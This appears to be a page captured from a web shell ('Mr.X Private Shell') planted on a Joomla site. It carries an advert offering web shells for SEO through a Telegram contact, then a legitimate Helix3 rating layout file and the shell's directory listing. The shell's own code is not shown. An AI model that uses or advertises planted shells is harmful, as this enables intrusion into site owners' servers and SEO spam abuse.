__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Helix3 Framework
* @author JoomShaper https://www.joomshaper.com
* @copyright (c) 2010 - 2021 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
defined('JPATH_BASE') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
if($displayData['params']->get('show_vote')) {
$rating = (int) $displayData['item']->rating;
$layout = Factory::getApplication()->input->get('view', 'article');
$rating_count = $displayData['item']->rating_count;
if ($rating_count == '')
{
$rating_count = 0;
}
$class_name = '';
if ($layout == 'article')
{
$class_name = ' sp-rating';
}
?>
<dd class="post_rating" id="post_vote_<?php echo $displayData['item']->id; ?>">
<?php echo Text::_('HELIX3_ARTICLE_RATING'); ?>: <div class="voting-symbol<?php echo $class_name; ?>">
<?php
$j = 0;
for($i = $rating; $i < 5; $i++)
{
echo '<span class="star" data-number="'.(5-$j).'"></span>';
$j = $j+1;
}
for ($i = 0; $i < $rating; $i++)
{
echo '<span class="star active" data-number="'.($rating - $i).'"></span>';
}
?>
</div>
<span class="ajax-loader fa fa-spinner fa-spin"></span>
<span class="voting-result">( <?php echo ($rating_count>1) ? $rating_count . ' ' . Text::_('HELIX3_COUNT_RATINGS') : $rating_count . ' ' . Text::_('HELIX3_COUNT_RATING'); ?> )</span>
</dd>
<?php }| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| comments | Folder | 0775 |
|
|
| icons | Folder | 0775 |
|
|
| info_block | Folder | 0775 |
|
|
| post_formats | Folder | 0775 |
|
|
| social_share | Folder | 0775 |
|
|
| associations.php | File | 453 B | 0664 |
|
| blog_style_default_item_title.php | File | 2.17 KB | 0664 |
|
| blog_style_default_links.php | File | 722 B | 0664 |
|
| categories_default.php | File | 1.29 KB | 0664 |
|
| categories_default_items.php | File | 646 B | 0664 |
|
| category_default.php | File | 2.64 KB | 0664 |
|
| full_image.php | File | 1.64 KB | 0664 |
|
| icons.php | File | 2.07 KB | 0664 |
|
| intro_image.php | File | 2.82 KB | 0664 |
|
| options_default.php | File | 1.53 KB | 0664 |
|
| rating.php | File | 1.31 KB | 0664 |
|
| readmore.php | File | 1.13 KB | 0664 |
|
| tags.php | File | 1.14 KB | 0664 |
|